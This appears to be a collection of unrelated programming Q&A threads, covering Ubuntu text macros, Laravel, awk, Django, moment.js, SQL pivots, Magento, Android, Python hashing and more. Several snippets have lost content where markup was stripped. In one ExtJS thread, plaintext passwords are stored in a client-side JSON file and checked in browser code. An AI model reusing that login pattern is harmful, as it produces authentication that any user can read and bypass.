I'd like to assign it to say Shift+Control+K or whatever keyboard control character combination isn't assigned and already used by Ubuntu.
Back in the day of TSR (Terminate and Stay Resident) MS-DOS programs this was possible. Certainly it must be in Ubuntu too?
Do I have to write a daemon to accomplish this?

I found other questions with no answers: How can I assign macros to my keyboard keys on Ubuntu, similar to Razer Keyboard Macros in Windows?, what is a good mouse/keyboard macro recorder?
I found a similar question with an answer: Can I use Keyboard Shortcuts to implement text macros?. However that question stipulated the answer could not be AutoKey.

A: I did some googling and found a program called AutoKey (Autokey - Linux utility for text substitution hotkeys) near the top of the list.
Rather than a hotkey using Ctrl+Shift+K I chose to assign the abbreviation kz which is automatically expanded into +.
It is simply installed using:
sudo apt install autokey-gtk

It installs in Launcher and the screen is pretty simple to use:

A: What also can be done is to use xdotool withtype flag, like so:
bash -c ' sleep 0.5; xdotool getactivewindow  type ""'

Go to System Settings-> Keyboard-> Shortcuts -> Custom and bind that command to whatever keyboard shortcut you want. I chose CtrlSuperK. What happens here is that we give user delay of 0.5 seconds to release keyboard shortcut, and then xdotool will type out the key markup tags just as if you were doing it yourself on keyboard. Very easy and simple approach. In fact I am used it just now to put in those 3 keys above.
Note that xdotool doesn't come with Ubuntu by default, so you will have to install it via sudo apt-get install xdotool

A: If you have a compose file you can use it as a poor-man's text insertion utility.
You can use a few of the modifiers in X.  Apparently you can use Shift as a modifier:
! Ctrl Shift <k> : ""

But this does not work, at least on my machine.
Nor does this work (omitted Shift, capitalized K):
! Ctrl <K> : ""

However, you can use Ctrl and Ctrl+Alt:
! Ctrl Alt <k> : ""
! Ctrl <k> : ""

Placing the cursor correctly
The above mappings will place the cursor after the string (| indicates the cursor):
|

I reckon there can be no general-purpose solution for putting the cursor inside of the tag; for that you would need to use a fit-for-purpose tool.  But you can the cursor go inside the tag in certain applications.
I use gnome-terminal with Bash which uses readline keybindings (Emacs-like).  Ctrl-b is the keybinding for going backwards one character.  In my terminal I can type Ctrl+v b and get the control character ^B (U+0002 (Start of Text)).  So type six of these characters at the end of the string:
! Ctrl Alt <k> : "^B^B^B^B^B^B"

The cursor will be placed inside the tag if you are inside an application that interprets ^B correctly (e.g. terminals and Emacs):
|

Using the compose key
You can of course use the compose key (<Multi_key>) to achieve the same thing.  For example, use t ("tag") and k ("keyboard"):
<Multi_key> <t> <k> : "^B^B^B^B^B^B"


text:
Q: Foreign Key Constraint Fail in laravel I'm trying to create log entries which has foreign keys of guest_id and department_to_visit
SQL:
DROP TABLE IF EXISTS `logs`;
CREATE TABLE `logs`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `guest_id` int(11) NOT NULL,
  `guest_id_number` int(11) NOT NULL,
  `date_time_in` datetime(0) NOT NULL,
  `date_time_out` datetime(0) NULL DEFAULT NULL,
  `purpose` varchar(45) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
  `department_to_visit` int(11) NULL DEFAULT NULL,
  `updated_at` timestamp(6) NULL DEFAULT NULL,
  `created_at` timestamp(6) NULL DEFAULT NULL,
  PRIMARY KEY (`id`, `guest_id`) USING BTREE,
  INDEX `fk_logs_guests1_idx`(`guest_id`) USING BTREE,
  INDEX `fk_logs_dept1_idx`(`department_to_visit`) USING BTREE,
  CONSTRAINT `fk_logs_dept1` FOREIGN KEY (`department_to_visit`) REFERENCES `dept` (`dept_id`) ON DELETE NO ACTION ON UPDATE NO ACTION,
  CONSTRAINT `fk_logs_guests1` FOREIGN KEY (`guest_id`) REFERENCES `guests` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION
)

Logs Model
class Logs extends Model
{
    protected $table = 'logs';
    public function guests()
    {
        return $this->belongsTo('App\Guest','guest_id','id');
    }
    public function departments()
    {
        return $this->belongsTo('App\Department','department_to_visit','dept_id');
    }

I keep receiving the error SQLSTATE[23000]: Integrity constraint violation: 1452 Cannot add or update a child row: a foreign key constraint fails (guest_log.logs, CONSTRAINT fk_logs_dept1 FOREIGN KEY (department_to_visit) REFERENCES dept (dept_id) ON DELETE NO ACTION ON UPDATE NO ACTION) (SQL: insert into logs (guest_id, guest_id_number, purpose, department_to_visit, date_time_in, updated_at, created_at) values (4, 2, 2, 1, 2018-12-23 12:53:22, 2018-12-23 12:53:22, 2018-12-23 12:53:22))
whenever I try to create new log record using
LogController
  public function store(Request $request)
    {
        $this->validate($request, [
            'guest_id'=>'required',
            'guest_id_number'=>'required',
            'purpose'=>'required',
            'department_to_visit']);
        $logs = new Logs();
        $guest = Guest::findOrFail($request->guest_id);
        $logs->guest_id = $guest->id;
        $logs->guest_id_number = $request->guest_id_number;
        $logs->purpose = $request->purpose;
        echo $request->department_to_visit;
        $department= Department::findOrFail($request->department_to_visit);
//        echo '
',var_dump($department),'
';
        $logs->department_to_visit =$department->dept_id;
        $logs->date_time_in = Carbon::now();
        $logs->save();
//        return redirect(route('home'));
    }

using this method

        {!! BootForm::inline(['route'=>['logs.store'],'method'=>'POST']) !!}

        {!! BootForm::select('guest_id', 'Guest Name',\App\Guest::pluck('last_name','id'),null, [])!!}

        {!! BootForm::tel('guest_id_number','ID Number',null, ['required']) !!}
        {!! BootForm::select('department_to_visit','Department to Visit', App\Department::pluck('dept_code','dept_id'),null,[]) !!}
        {!! BootForm::text('purpose',null,null,['required']) !!}

        {!! BootForm::submit('Save') !!}

        {!! BootForm::close() !!}

I used to receive errors on guest_id but resolved it. I thought it won't be different with guest_id but department_to_visit continues to receive errors. Please help me out in solving and understanding the cause of the problem

A: Puzzling indeed, because the code looks like it retrieves the relevant primary keys immediately before it tries to use them in the insert, so you'd expect these things to work out.
One of the following queries must produce no rows:
SELECT * FROM guests WHERE id = 4

SELECT * FROM dept WHERE dept_id = 1 --is the PK id, or dept_id?

Resolve this by providing an ID that exists in the table. Double check that your foreign keys reference the correct remote primary keys (i note that guests table PK is called ID but dept table PK seems called dept_id? Is it correct?) and that the column being searched by the findOrFail method is definitely the primary key column. Is there any possible way that findOrFail can find something, the wrong thing, and NOT fail?
Lastly, when you run these in a query tool, make absolutely sure that the database you're querying in debugging this is definitely the same database that your server is connected to.


text:
Q: Skip 2 lines after reading 1 line of a file using AWK I have a huge file which i am reading through awk , using awk i am calculating the sum of values on that file.
Below is the file format i have :
18/11/13 00:00:50   585   17353  296883     666
18/11/13 00:01:50   965   26536  216201     558
18/11/13 00:02:50   990   38685  390537     768
18/11/13 00:03:50  1004   22435  377633     404
18/11/13 00:04:50   709   15754  161435   12062
18/11/13 00:05:50    96    7084  403551       0
18/11/13 00:06:50   107   14588  504683     597
18/11/13 00:07:50   115   27562  457555     814

awk  '{sum+=$4; ++n} END {print "  Tot="n," Avg="sum/n}' filename

Now i thin i want to skip 2 rows after we read a row from the file.

A: for your comment under your question, you just need to skip line2 and 3:
awk  'NR==1||NR>3{sum+=$4; ++n} END {print "  Tot="n," Avg="sum/n}' filename


text:
Q: Unknown command: 'auth' Type 'manage.py help' for usage I'm using Django 3.1, and I'm unable to fix this issue. I'm running the following command heroku run python manage.py auth zero, but I am getting this error:
Running python manage.py auth zero on ⬢ dotescrow... up, run.1867 (Free)
Unknown command: 'auth'
Type 'manage.py help' for usage.

This is my settings.py file:
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'accounts',
    'django_countries',
    'bootstrap3',
    # 'wallets',
    #  'frontend',
]

A: I think you are trying to reverse the migrations in the app auth, try the following:
heroku run python manage.py migrate auth zero

The problem is that manage.py is expecting a command, and auth is not a command but a Django app.


text:
Q: Operating in the end user's timezone with momentjs I'm in EDT and my end user is in PDT.  I'd like my WebApp to operate as if it's running in the end user's timezone (e.g. even if they travel it's to show the time back home).  The timestamps coming from the Java server are formatted to include the end user's timezone e.g. "Mon Oct 27 06:57:00 PDT 2014", and I also have the end user TZ string e.g. "America/Vancouver" in a config file.  I'm using native Date() and it's displaying the right time for the user, but I can't use it to compare times with times in the client.  I'm looking to change to moment.js, but I can't figure out how to get it to do what I want.  Basically, given the above timestamp, I want to be able to call m.hour() and get 6 back.  I also want to be able to get the day of the year in end user time (both "now" and for a timestamp), and see how far back the last timestamp is from the current time, in minutes.  Here is my failed attempt:
var d = "Mon Oct 27 06:57:00 PDT 2014";
var ds = d.split(/ /).slice(1).join(' '); // eat "Mon "

var m = moment.tz(ds, "MMM D HH:mm:ss Z YYYY", "America/Vancouver");

alert("" + m.hour()); // 23 ???  Want "6"!

var n = moment.tz("America/Vancouver");
var df = n.diff(m, 'minute');
alert(m.format() + "\n" + n.format() +
      "\n" + df + " minutes ago");

Fiddle: http://jsfiddle.net/up628qbq/
Thanks!

A: Use a lower-case z in the format string instead of the upper-case Z.  That will match the time time zone abbreviation characters.
Note that this won't actually interpret the abbreviation as a particular offset.  This is primarily because abbreviations can be ambiguous.  (There are 5 different meanings of "CST").  Because of this, some values during a DST fall-back transition may be interpreted incorrectly.
For example, in the Pacific time zone, there are two instances of 1:00 AM on November 2 2014.  The first is in PDT (-7) , and second is in PST (-8).  Even though you provided an abbreviation, moment won't use it to disambiguate.  If you want to be certain of which instance you are working with, you would need a numeric time zone offset to be included and parsed with Z.
Also, you can use ddd for the weekday name instead of splitting and slicing.

A: Thank you Matt!  I don't have enough reputation to "vote up", so I have made the changes you recommend (remove split and add ddd format, change Z to z) in the fiddle: http://jsfiddle.net/up628qbq/1/


text:
Q: I have the following table and want to turn the rows into different columns ID    Code      Date
1     3101       10/2/2010
1     3101       15/2/2010
2     3101       18/2/2010
2     3101       25/4/2010
2     3101       21/4/2010

into the following
ID   Date1      Date2      Date3       Date4      Date5
 1   10/2/2010  15/2/2010
 2   18/2/2010  25/4/2010  21/4/2010

A: You can use PIVOT for this. Example below:
CREATE TABLE #Data
(
    ID INT NOT NULL,
    Code INT NOT NULL,
    [Date] VARCHAR(20) NOT NULL
)
INSERT INTO #Data VALUES(1, 3101, '10-2-2010')
INSERT INTO #Data VALUES(1, 3101, '15-2-2010')
INSERT INTO #Data VALUES(2, 3101, '18-2-2010')
INSERT INTO #Data VALUES(2, 3101, '25-4-2010')
INSERT INTO #Data VALUES(2, 3101, '21-4-2010')

SELECT ID, [1] AS Date1, [2] AS Date2, [3] AS Date3, [4] AS Date4
FROM
(SELECT ID, [Date], ROW_NUMBER() OVER(PARTITION BY ID ORDER BY ID) [RowNum]
 FROM #Data) AS p
PIVOT (Max([Date]) FOR [RowNum] IN ([1],[2],[3],[4])) AS pvt

Suppose you need more dates, it is just a matter of adding more pivot rows.


text:
Q: check the json data for comparing in extjs I created a simple login page using extjs MVC to understand MVC architecture of extjs. As you can see below, I am trying to get the json data into the store and then I will check each username and password in that data with the entered login credentials. The thing in which I am confused right now is that, how to check the username and password from the retrieved json data present in store folder into the view folder? (Below code is only the related code with the problem)
I aware that this could invoke security threats, as I am checking on client side.
'view' folder --> Code.js
function checkJson(username, password){
    //if matched, return true.
    //else, return false.
}

'model' folder --> Code.js
Ext.define('AM.model.User', {
   extend: 'Ext.data.Model',
   fields: ['name', 'email']
});

'store' folder --> Code.js
Ext.define('LoginPage.store.Code', {
   extend: 'Ext.data.Store',
   model: 'LoginPage.model.Code',
   autoLoad: true,

   proxy: {
        type: 'ajax',
        api: {
            read: 'data/loginResponse.json',
            update: 'data/checkCredentials.json'  //Contains:  {"success": true}
        },
        reader: {
            type: 'json',
            root: 'loginResponse',
            successProperty: 'success'
        }
   }
});

loginResponse.json
{
"form": {
   "login": [
     {
       "username": "venkat",
       "password": "123"
     },
     {
       "username": "admin",
       "password": "345"
     }
   ]
}

A: You should put your checking part of the code to the Controller (views are for presentation). In view define some form with login and password fields. In Controller catch click event on form OK (Login) button, get form values (login + password), then use Ext.data.Store.query() method to find wether credentials fits or not like:
Look here for examples how to use controllers in MVC to catch events;
In your Controller put:
init: function() {
    this.control({
        '#form_ok_button': { // this is the `id` property of your form's Login button
            click: function(button) {
                 var fValues = button.up('form').getValues(); // Assume your button is bound to the form
                 // Or you can use `Controller.refs` property (http://docs.sencha.com/ext-js/4-1/#!/api/Ext.app.Controller-cfg-refs) to get form
                 var matched = store.query('username', fValues.username);
                 if(matched.length && matched[0].get('password') === fValues.password) {
                     // login OK!
                 }
            }
        }
    });
},

How to use refs (in Controller):
refs: [
   { ref: 'usernameField', selector: '#username_field' }, // username field id is "username_field"
   { ref: 'passwordField', selector: '#password_field' }, // password field id is "password_field"
],

init: function() {
   this.control({
       '#form_ok_button': {
            click: function() {
                // with `refs` autogetters are created for every `ref`:
                var username_field = this.getUsernameField();
                var password_field = this.getPasswordField();
            }
        }
   })
}

You can read about referencing here.
For every Store in Ext.app.Controller.stores array autogetters are created too (in your case for Code store use this.getCodeStore() inside controller).
Here is the flow:

*

*You get username and password field values with this.getUsernameField() and this.getPasswordField();

*You query() store for username

*If username exist in store, you check if password fits.


text:
Q: Logarithm of the voltage of the inductor in RL circuit experiment is nonlinear with time I performed an experiment about the RL circuit, with following circuit:

(I used the PASCO RLC circuit lab.)
By Kirchhoff's voltage law, (denoting the emf of the signal generator $\mathscr E$, inductance of the inductor $L$, the resistance of the resistor $R$, and the current of the circuit $i$) $$\mathscr E - iR - L \frac{\mathrm d i}{\mathrm d t}=0$$ with initial current $i_0 = -\frac{\mathscr E}{R}$ (almost), hence $$i = \frac {\mathscr E}{R} - 2 \frac{\mathscr E}{R} e^{-Rt/L}$$ and then $$\Delta v_L = -L \frac{\mathrm d i}{\mathrm dt} = 2 \mathscr E e^{-Rt/L}.$$ So the natural logarithm of the potential of the inductor must be linear. However, the data of the experiment was strange:

(The blue graph: the emf $\mathscr E$ of the signal generator; the orange graph: $\ln (-\Delta v_L / \mathscr E)$.)
Is this just an error of the experiment? Or is there another reason for this graph?
+) The aim of the experiment is finding the time constant of the circuit, with the gradient of the (linear) graph. The inductance of the coil is $$L = \mu N^2 \frac{A}{\ell} \propto \mu$$ where $\mu$ is the permeability of the space in the coil, $N$ is the number of turns, $A$ is the cross-sectional area and $\ell$ is the length of the coil. The time constant of the other experiments, which has the linear log graphs, are as follows:
$R = 10.0 \; \Omega$, $\mu = \mu_\text{air}$: $\tau=0.400 \; \mathrm{ms}$, $L=4.00 \; \mathrm{mH}$
$R = 10.0 \; \Omega$, with iron core: $\tau=1.06 \; \mathrm{ms}$, $L=10.6 \; \mathrm{mH}$
$R = 300. \; \Omega$, $\mu = \mu_\text{air}$: $\tau=0.0149 \; \mathrm{ms}$, $L=4.47 \; \mathrm{mH}$
If we take the slope of the tangent (that is, the average slope with very short time interval) as of the graph, then we have $L_\text{iron core} = 9.91 \;\text{mH},$ which is similar to the case of $R = 10.0 \; \Omega.$ However if we take the average slope, we have $L_\text{iron core} = 3.11 \;\text{mH}.$


text:
Q: Magento Module IndexController - IndexAction function 404's Removing the Class around the IndexAction causes a server error, so I know the code is running as expected up to that point.
class Foo_Bar_IndexController extends Mage_Core_Controller_Front_Action{
    public function indexAction(){
        echo "
Echo from indexcontroller.
";
    }
}

Ideally the echo would be replaced by loading template files, but I've been stuck on it 404ing for the last 2 days and just want to get past that.
I've read through about a dozen tutorial, followed 4 to completetion, but this issue pops up every time.
Does anyone have an idea what could be causing this?
Edit--
Sorry, for the brevity. I wasn't sure how much I should distend the page.
@ Alan Storm -- I found your tutorial here. http://alanstorm.com/magento_controller_hello_world (Great Detail, very helpful in understanding what all the xml tags do). This is a copy of that tutorial with Foo replacing Alanstormdotcom and Bar replacing Helloworld. Even copy/pasting I end up with the same 404.
Here is my current config file:
PATH: app/code/local/Foo/Bar/etc/config.xml (edit: corrected path)
<config>
<modules>
    <Foo_Bar>
        <version>0.1.0</version>
    </Foo_Bar>
</modules>
<frontend>
    <routers>
        <bar>
            <use>standard</use>
            <args>
                <module>Foo_Bar</module>
                <frontName>bar</frontName>
            </args>
        </bar>
    </routers>
</frontend>
</config>

Edit---
the last remaining file
Path: app/etc/modules/Foo_Bar.xml
<config>
<modules>
    <Foo_Bar>
        <active>true</active>
        <codePool>local</codePool>
    </Foo_Bar>
</modules>
</config>

A: I think you are missing to add store_code in URL ( I had the same issue ), probably you have enabled the store code from admin in other words the store code (Ex: en, nl, etc) is adding in URL.
Ex :

www.example.com/en/aaa.html

If so, then please access your controller and action in this manner:

www.example.com/store_code/front_name/controller/action

Ex :

www.example.com/en/bar/index/index

A: Your path is incorrect:
app/etc/modules/Foo/Bar/etc/config.xml

You should place your module's definition file Foo_Bar.xml in app/etc/modules and the code of your module in app/code/local:
app/code/local/Foo/Bar/etc/config.xml
app/code/local/Foo/Bar/controllers/IndexController.php

EDIT: in order to access your controller you should access this url:
www.example.com/magento-instance/bar/index

Following this pattern:
{magento_root}/{magento_module}/{magento_controller}/{magento_action}

A: If other answers do not help you, you might want to try this path pattern:
     www.example.com/index.php/frontName/controllerName/actionName

I do not understand why they didn't create a rewrite rule for this kind of urls.
Anyway, the pattern above should work in most cases.


text:
Q: How to implement "Two Finger Drag or Scale" of canvas in Android? I want to implement dragging and scaling of canvas on two finger.
I have tried with following approach.
Step 1 : onTouchEvent i have checked if getPointerCount == 2 then do dragging of canvas similar to single finger dragging.
Code:
if(ev.getPointerCount() == 2) {

                final int action = ev.getAction();
                switch (action & MotionEvent.ACTION_MASK) {
                    case MotionEvent.ACTION_POINTER_DOWN: {

                        final float x = ev.getX(0);
                        final float y = ev.getY(0);

                        mLastTouchX = x;
                        mLastTouchY = y;

                        break;
                    }

                    case MotionEvent.ACTION_MOVE: {

                        final float x = ev.getX(0);
                        final float y = ev.getY(0);
                        // Only move if the ScaleGestureDetector isn't processing a gesture.
                        if (!mScaleDetector.isInProgress()) {

                            final float dx = x - mLastTouchX;
                             final float dy = y - mLastTouchY;

                            mPosX += dx;
                            mPosY += dy;
                            invalidate();
                        }

                        mLastTouchX = x;
                        mLastTouchY = y;

                        //invalidate();
                        break;
                    }

                    case MotionEvent.ACTION_UP: {
                        Log.i(TAG,"Double Touch : ACTION_UP SingleTouch:"+isSingleTouch );
                        mActivePointerId = INVALID_POINTER_ID;
                        break;
                    }

                    case MotionEvent.ACTION_CANCEL: {
                        Log.i(TAG,"Double Touch : ACTION_CANCEL SingleTouch:"+isSingleTouch );
                        mActivePointerId = INVALID_POINTER_ID;
                        break;
                    }

                    case MotionEvent.ACTION_POINTER_UP: {
                        Log.i(TAG,"Double Touch : ACTION_POINTER_UP SingleTouch:"+isSingleTouch );
                        // Extract the index of the pointer that left the touch sensor
                        final int pointerIndex = (action & MotionEvent.ACTION_POINTER_INDEX_MASK)
                                >> MotionEvent.ACTION_POINTER_INDEX_SHIFT;
                        final int pointerId = ev.getPointerId(pointerIndex);
                        if (pointerId == mActivePointerId) {
                            // This was our active pointer going up. Choose a new
                            // active pointer and adjust accordingly.
                            final int newPointerIndex = pointerIndex == 0 ? 1 : 0;
                            mLastTouchX = ev.getX(newPointerIndex);
                            mLastTouchY = ev.getY(newPointerIndex);
                            mActivePointerId = ev.getPointerId(newPointerIndex);
                        }
                        break;
                    }
                }

Step 2:  add Scale Gesture Detector
Code:
public boolean onTouchEvent(MotionEvent ev) {

            mScaleDetector.onTouchEvent(ev);
                   /*Some code */
}


text:
Q: How to separate model and view with Core Data? I have a subclass of UIView which draws itself based on data held in a corresponding model class, which is a subclass of NSManagedObject.
The problem is, some fields in the data model (e.g. the position of the view) are already held in the view (i.e. the frame property in this case).  I then have a data duplication/synchronization problem to solve.
To complicate matters further, the view needs to update in response to changes made to the data model and the data model needs to be updated in responses made to the view (e.g. the user dragging it to a new location).
What's the best way to solve this?  Using KVO and references in both directions?
Or is there a better approach?

A: Given your constraints, you'll probably have to use KVO on both your UIView and your NSManagedObject, although you'll probably want to put that code your view controller.


text:
Q: Getting an error "GitCommandNotFound: Cmd('git') not found due to:" in Anaconda Spyder Im Trying to clone a git repo using the GitPython in spyder.
im using the below code.
from git import Repo
full_local_path = r'C:/New/Newfolder'
remote = f"https://(git path)/*/frontend_backup.git"
Repo.clone_from(remote, full_local_path)

But im getting an error
GitCommandNotFound: Cmd('git') not found due to: FileNotFoundError('[WinError 2] The system cannot find the file specified')
  cmdline: git clone -v https://(git path)/*/frontend_backup.git C:/New/Newfolder

The same command when executed in Anaconda Prompt, is getting executed successfully, but when tried to do the same in Spyder , getting such error.
Note: I have given the PATH for git.exe and python.exe in system variables.

A: Found the answer.
Its because the anaconda environment(base) in which i was using the Spyder hadn't installed the git versions.
The base env, doesnt let you install extra packages, you have to create another env and install all the packages needed.
i created another env in anaconda and it solved the error.


text:
Q: Converting a hex to integer in Python - equivalent for ToInt64 in C# I am trying to convert a sha256 hash to an integer.This works in C# but I cannot get it work in Python.
C# Version :
string inputString = "TestString";
            SHA256 sha256Hash = SHA256.Create();
            byte[] bytes = sha256Hash.ComputeHash(Encoding.UTF8.GetBytes(inputString));
            //Read the Bytes and print
            var sb = new StringBuilder(bytes.Length * 2);
            sb = new StringBuilder(bytes.Length * 2);
            foreach (byte b in bytes)
            {
                sb.Append(b.ToString("x2"));
            }
            Console.WriteLine("Bytes: " + sb);
            Console.WriteLine("ConvertedInt: " + BitConverter.ToInt64(bytes));
Output :
Bytes: 6dd79f2770a0bb38073b814a5ff000647b37be5abbde71ec9176c6ce0cb32a27
ConvertedInt: 4088037490330425197

The above prints the bytes and Integer value as expected. Trying to do the same in Python but couldnt convert to the same integer number.
import hashlib
hashobj = hashlib.sha256("TestString".encode('utf-8')).hexdigest()
print(hashobj)

#Tried Option 1:
print(f"Option 1 prints:\r")
print(int(hashobj,32))

#Tried Option 2:
print(f"Option 1 prints:\r")
print(int(hashobj,16))

Output:
6dd79f2770a0bb38073b814a5ff000647b37be5abbde71ec9176c6ce0cb32a27
Option 1 prints:
428476861264242379186014021585258195649378281633207959348811042267114033125399631735390859241543
Option 1 prints:
49683071055471546380350462257487304408748464885741562355821390565893091830311

How can I convert the hashobj to a 64 bit int in python? Just trying to get the same integer value in python, Thanks for any help.
Edit 1 :
Following the answer from @Sweeper and @Recursing, was able to proceed further but have an issue when the resulting integer is signed.
Case 1: Hex to Integer is +ve, when I try a modulo the int(8bytes) with a number, say 300, gives the expected result 108.
Case 2 & Case 3: Hex to Integer is -ve, then I have to read variable mumber of bytes, 7 bytes for Case 2 and 9 bytes for Case 3, then modulo by 300 gives the expected result 108.

Question: How to determine the number of bytes to read when the integer is -ve, to get the same result? Thank you.
#Case 1
hash_bytes = hashlib.sha256("098C10227K3R".encode('utf-8')).digest()
print("Case 1 : Is Positive : {}".format(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True) > 0))
print("Case 1 : IntegerValue : {}".format(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True)))
print("Case 1 : 8 Bytes:")
print(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True) % 300)

#Case 2
hash_bytes = hashlib.sha256("159YK282MS3T".encode('utf-8')).digest()
print("Case 2 : Is Positive : {}".format(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True) > 0))
print("Case 2 : IntegerValue : {}".format(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True)))
print("Case 2 : 8 Bytes:")
print(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True) % 300)
print("Case 2 : 7 Bytes:")
print(int.from_bytes(hash_bytes[:7], byteorder="little", signed=True) % 300)

#Case 3
print("Case 3:")
hash_bytes = hashlib.sha256("17FK427W501L".encode('utf-8')).digest()
print("Case 3 : Is Positive : {}".format(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True) > 0))
print("Case 3 : IntegerValue : {}".format(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True)))
print("Case 3 - 8 Bytes:")
print(int.from_bytes(hash_bytes[:8], byteorder="little", signed=True) % 300)
print("Case 3 - 9 Bytes:")
print(int.from_bytes(hash_bytes[:9], byteorder="little", signed=True) % 300)

Output:
Case 1 : Is Positive : True
Case 1 : IntegerValue : 9212408962392255108
Case 1 : 8 Bytes:
108
Case 2 : Is Positive : False
Case 2 : IntegerValue : -5822649536180381508
Case 2 : 8 Bytes:
192
Case 2 : 7 Bytes:
Case 3 : IntegerValue 7 bytes: 14015580891781308
108
Case 3:
Case 3 : Is Positive : False
Case 3 : IntegerValue : -2669588811718081008
Case 3 - 8 Bytes:
192
Case 3 - 9 Bytes:
Case 3 : IntegerValue 9 bytes: -445391446580747319792
108

A: As @Sweeper said, the C# code keeps only the first 8 bytes of the hash, and converts it to integer
In python you could do:
import hashlib
hash_bytes = hashlib.sha256("TestString".encode('utf-8')).digest()
first_bytes = hash_bytes[:8]
print(int.from_bytes(first_bytes, byteorder="little", signed=True))

An alternative would be using the struct module in the standard library: https://docs.python.org/3/library/struct.html
print(struct.unpack("q", first_bytes))


text:
Q: How to install PWA in Magento 2.4.4 in windows I need to install PWA (Progressive Web Apps) in Magento 2.4.4. so can anyone have an idea about it,then please share with me.
Thank you.

A: You cannot (technically you can but shouldn't) since Magento is not supported on Windows. See https://experienceleague.adobe.com/docs/commerce-operations/installation-guide/system-requirements.html#operating-systems-(linux-x86-64)


text:
Q: How to increase a usestate number inside a div in React.js I have a useState inside div, I want to update the counter beacuse I want to get another img url from exArr array. is there a way to update counter inside a div?
let exArr = [];
    const [counter, setCounter] = useState(0);

    return (

            {
                products.filter(product => product.productGender.includes('Kids')).slice(0, showProducts).map(product => (

                        <Link to={`/productBuy?id=${product.productImageFolder}`}>

  /* I WANT TO CHANGE HERE */   { setCounter(counter => counter + 1) }

                                    {product.productName}

                                    €{product.productPrice}

                        </Link>

    ))
            }

                <button onClick={showMoreItems}>Load More Products</button>

    );
}


text:
Q: How to get anchor of dockablepane in AvalonDock I'm using the third party library AvalonDock to make my GUI. However I'm having problem to get what side a control is docked on. I have tried this.
DockableContent doc = (DockableContent)FindName("dcc" + WindowsNames[i]);
DockablePane parent = (doc.Parent as DockablePane);
if (parent.Anchor == AnchorStyle.Top)

And this.
string dock = DockPanel.GetDock(doc).ToString();

But they both always return left no matter what.
How do i get what side a control is docked on?

A: Are you checked DockableStyle?
EDIT
I checked this code and worked for me (called this from own AvalonDock.DockableContent class):
var anchor = ((AvalonDock.DockablePane)(this.Parent)).Anchor;


text:
Q: Why does strlen() apply on character arrays also? strlen() is a function argument should be a string but why is it also applicable to character arays ?
For eg
char abc[100];
cin.getline(abc,100);
len=strlen(abc);

If it works for character array and tells the number of elements , can it be used for int array also?
Note : I am using TurboC++

A: It's important to understand what a string is. The C standard defines a string as "a contiguous sequence of characters terminated by and including the first null character". It's a data format, not a data type; a C-style string may be contained in an array of char.  This is not to be confused with the C++-specific type std::string, defined in the <string> (note: no .h suffix) header.
The <string.h> header, or preferably the <cstring> header, is incorporated into C++ from the C standard library. The functions declared in that header operate on C-style strings, or on pointers to them.
The argument to strlen is of type char*, a pointer to a character. (It's actually const char*, meaning that strlen promises not to modify whatever it points to.)
An array expression is, in most contexts, implicitly converted to a pointer to the initial element of the array. (See section 6 of the comp.lang.c FAQ for the details.)
The char* argument that you pass to strlen must point to the initial element of an array of characters, and there must be a null character ('\0') somewhere in the array to mark the end of the string. It computes the number of characters up to, but not including, the null terminator.
It does not (and cannot) compute the number of elements in an array, only the number of characters in a string -- which it can do only if the array actually contains a valid string. If there is no null character anywhere in the array, or if the pointer is null or otherwise invalid, the behavior is undefined.
So when you write:
char abc[100];
cin.getline(abc,100);
len=strlen(abc);

the call to cin.getline ensures that the array abc contains a properly null-terminated string. strlen(abc) calls strlen, passing it the address of the initial character; it's equivalent to strlen(&abc[0]).
No, strlen will not work on an array of int. For one thing, that would pass an int* value, which doesn't match the char* that strlen requires, so it probably wouldn't compile. Even ignoring that, strlen counts characters, not ints. (You can write your own similar function that counts ints if you like, but it still has to have some way to find the end of the elements that you're interested in counting. It doesn't have access to the actual length of the array unless you pass it explicitly.)

A: strlen only works for null-terminated char arrays.
If there's no null character at the end of the string1, calling strlen causes undefined behavior.
std::cin.getline automatically appends the null character at the end so that's why your strlen worked.
1 (which is not necessarily the same as the end of the array)

A: In C strings are arrays of char. All strlen does is count the number of items until a 0 (or null character) is found


text:
Q: Correct way to set up a Maven POM to compile mixed Java/Groovy code in Intellij IDEA I have a very simple test project in Intellij IDEA in which I try to mix Java 9 and Groovy code. Additionally, this project has Maven Support, i.e. it is organized according to a Maven archetype and has a POM.
Now I have two classes in the default package calling each other (though not cyclically as compilation for that fails) and all is working well, i.e. Build > Build Project and Run > Run 'Main' are working.
However, this compilation seems to be independent of Maven configuration. There is no Groovy support in the POM for one. If I just compile from the command line with mvn compile compilation fails as the linker cannot find any object that would result from Groovy compilation.
The POM just contains configuration for the maven-compiler-plugin and I added that by hand with source and target nodes under configuration set to 1.9 to have IDEA compile from/to Java 9 instead of from/to Java 5. So there is some interaction between what is in the POM and what IDEA does when I select Rebuild Project.
What is correct way to configure IDEA and/or configure the POM so that compilation succeeds both in IDEA and on the command line. And if anyone knows, what are the interactions between what's in the POM and IDEA?
Do I have to configure the Groovy Eclipse Maven plugin in the POM? (I will try to do that)

A: This is what I have working for Java 8 and Eclipse, for a project with both Java and Groovy code. I know I found the basis for this via Google at one point but did not save the URL, alas. Not sure if it will work with Java 9 and IntelliJ but worth a shot?
<properties>
  <groovy.eclipse.compiler.plugin.version>2.9.1-01</groovy.eclipse.compiler.plugin.version>
</properties>
....
<plugin>
  <artifactId>maven-compiler-plugin</artifactId>

  <!-- 2.8.0-01 and later require maven-compiler-plugin 3.1 or higher -->
  <configuration>
    <compilerId>groovy-eclipse-compiler</compilerId>
    <!-- set verbose to be true if you want lots of uninteresting messages -->
    <!-- <verbose>true</verbose> -->
  </configuration>
  <dependencies>
    <dependency>
      <groupId>org.codehaus.groovy</groupId>
      <artifactId>groovy-eclipse-compiler</artifactId>
      <version>${groovy.eclipse.compiler.plugin.version}</version>
    </dependency>
